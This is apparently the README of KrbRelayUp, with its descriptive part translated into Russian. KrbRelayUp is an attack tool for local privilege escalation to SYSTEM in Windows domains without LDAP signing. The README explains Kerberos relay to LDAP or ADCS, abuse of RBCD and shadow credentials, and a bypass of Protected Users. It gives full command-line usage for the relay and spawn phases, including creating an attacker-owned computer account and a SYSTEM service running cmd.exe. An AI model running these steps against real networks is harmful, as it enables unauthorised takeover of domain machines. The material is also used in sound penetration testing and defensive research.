
KrbRelayUp — универсальное локальное повышение привилегий без исправлений в средах домена Windows, где не применяется подпись LDAP (настройки по умолчанию).
Простая обёртка над некоторыми функциями Rubeus и KrbRelay (а также нескольких других достойных упоминания в разделе благодарностей), предназначенная для упрощения эксплуатации следующего примитива атаки:
По сути, это универсальное локальное повышение привилегий без исправлений (no-fix) в средах Windows-доменов, где не применяется подпись LDAP (настройки по умолчанию).
ОБНОВЛЕНИЕ: Здесь находится отличная статья от @an0n_r0 о том, как выполнить эту атаку вручную (с использованием оригинальных инструментов для данного вектора атаки: PowerMad/SharpMad, KrbRelay, Rubeus и SCMUACBypass)
Я добавил некоторые функции для поддержки этого примитива атаки с использованием shadow credentials. Обратите внимание, что это устраняет необходимость в добавлении (или владении) другой учётной записью компьютера.
Примечание: этот метод атаки обходит защиту Protected Users (или «Учётная запись чувствительна и не может быть делегирована») благодаря злоупотреблению S4U2Self.
ОБНОВЛЕНИЕ: Здесь находится отличная статья от @icyguider о том, как выполнить метод ShadowCred этой атаки вручную (с использованием оригинальных инструментов для данного вектора атаки: KrbRelay, Rubeus и SCMUACBypass), а также с использованием NimCrypt2 для упаковки различных инструментов и обхода некоторых механизмов защиты.
Я добавил поддержку ретрансляции KRB-аутентификации машины на ADCS Web Enrollment (вместо LDAP). Это устраняет требование о том, чтобы подпись LDAP не была включена в домене, поскольку данная атака не использует relay на LDAP.
Примечание: этот метод атаки обходит защиту Protected Users (или «Учётная запись чувствительна и не может быть делегирована») благодаря злоупотреблению S4U2Self.
KrbRelayUp - Relaying you to SYSTEM
FULL: Perform full attack chain. Options are identical to RELAY. Tool must be on disk.
RELAY: First phase of the attack. Will Coerce Kerberos auth from local machine account, relay it to LDAP and create a control primitive over the local machine using RBCD or SHADOWCRED.
Usage: KrbRelayUp.exe relay -d FQDN -cn COMPUTERNAME [-c] [-cp PASSWORD | -ch NTHASH]
-m (--Method) Abuse method to use in after a successful relay to LDAP <rbcd/shadowcred> (default=rbcd)
-p (--Port) Port for Com Server (default=12345)
-cls (--Clsid) CLSID to use for coercing Kerberos auth from local machine account (default=90f18417-f0f1-484e-9d3c-59dceee5dbd8)
# RBCD Method:
-c (--CreateNewComputerAccount) Create new computer account for RBCD. Will use the current authenticated user.
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (default=RANDOM [if -c is enabled])
# SHADOWCRED Method:
-f (--ForceShadowCred) Clear the msDS-KeyCredentialLink attribute of the attacked computer account before adding our new shadow credentials. (Optional)
# ADCS Method:
-ca (--CAEndpoint) CA endpoint FQDN (default = same as DC)
-https Connect to CA endpoint over secure HTTPS instead of HTTP)
-cet (--CertificateTemplate) Certificate template to request for (default=Machine)
SPAWN: Second phase of the attack. Will use the appropriate control primitive to obtain a Kerberos Service Ticket and will use it to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe spawn -d FQDN -cn COMPUTERNAME [-cp PASSWORD | -ch NTHASH] <-i USERTOIMPERSONATE>
-m (--Method) Abuse method used in RELAY phase <rbcd/shadowcred> (default=rbcd)
-i (--Impersonate) User to impersonate. should be a local administrator in the target computer. (default=Administrator)
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
# RBCD Method:
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (either -cp or -ch must be specified)
-ch (--ComputerPasswordHash) Password NT hash of computer account for RBCD. (either -cp or -ch must be specified)